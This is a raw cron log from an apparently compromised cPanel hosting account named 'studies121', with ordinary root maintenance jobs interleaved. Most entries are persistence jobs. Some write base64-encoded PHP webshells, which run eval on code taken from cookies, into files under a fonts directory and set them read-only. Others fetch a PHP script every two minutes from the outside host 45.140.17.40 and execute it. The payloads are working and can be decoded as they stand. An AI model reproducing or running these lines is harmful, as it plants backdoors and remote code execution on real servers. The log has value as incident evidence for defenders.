Sep  7 21:08:01 ip-184-168-122-23 CROND[19823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:08:01 ip-184-168-122-23 CROND[19824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:09:01 ip-184-168-122-23 CROND[19931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:09:01 ip-184-168-122-23 CROND[19932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:09:01 ip-184-168-122-23 CROND[19933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:09:01 ip-184-168-122-23 CROND[19934]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 21:09:01 ip-184-168-122-23 CROND[19935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:10:01 ip-184-168-122-23 CROND[20036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:10:01 ip-184-168-122-23 CROND[20037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20038]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:10:01 ip-184-168-122-23 CROND[20041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:11:01 ip-184-168-122-23 CROND[20131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:11:01 ip-184-168-122-23 CROND[20130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:11:01 ip-184-168-122-23 CROND[20129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:11:01 ip-184-168-122-23 CROND[20132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:12:01 ip-184-168-122-23 CROND[20210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:12:01 ip-184-168-122-23 CROND[20212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:12:01 ip-184-168-122-23 CROND[20214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:12:01 ip-184-168-122-23 CROND[20213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:12:01 ip-184-168-122-23 CROND[20215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:13:01 ip-184-168-122-23 CROND[20427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:13:01 ip-184-168-122-23 CROND[20428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:13:01 ip-184-168-122-23 CROND[20429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:13:01 ip-184-168-122-23 CROND[20430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:14:02 ip-184-168-122-23 CROND[20559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:14:02 ip-184-168-122-23 CROND[20560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:14:02 ip-184-168-122-23 CROND[20558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:14:02 ip-184-168-122-23 CROND[20561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:14:02 ip-184-168-122-23 CROND[20562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:15:01 ip-184-168-122-23 CROND[20694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:15:01 ip-184-168-122-23 CROND[20696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:15:01 ip-184-168-122-23 CROND[20697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:15:01 ip-184-168-122-23 CROND[20698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:15:01 ip-184-168-122-23 CROND[20699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:15:01 ip-184-168-122-23 CROND[20700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:16:01 ip-184-168-122-23 CROND[20824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:16:01 ip-184-168-122-23 CROND[20823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:16:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:16:01 ip-184-168-122-23 CROND[20819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:16:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:16:01 ip-184-168-122-23 CROND[20822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:17:01 ip-184-168-122-23 CROND[20915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:17:01 ip-184-168-122-23 CROND[20914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:17:01 ip-184-168-122-23 CROND[20917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:17:01 ip-184-168-122-23 CROND[20916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:18:01 ip-184-168-122-23 CROND[20993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:18:01 ip-184-168-122-23 CROND[20994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:18:01 ip-184-168-122-23 CROND[20996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:18:01 ip-184-168-122-23 CROND[20995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:18:01 ip-184-168-122-23 CROND[20998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:19:01 ip-184-168-122-23 CROND[21084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:19:01 ip-184-168-122-23 CROND[21087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:19:01 ip-184-168-122-23 CROND[21086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:19:01 ip-184-168-122-23 CROND[21089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21230]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:20:01 ip-184-168-122-23 CROND[21234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:20:01 ip-184-168-122-23 CROND[21237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
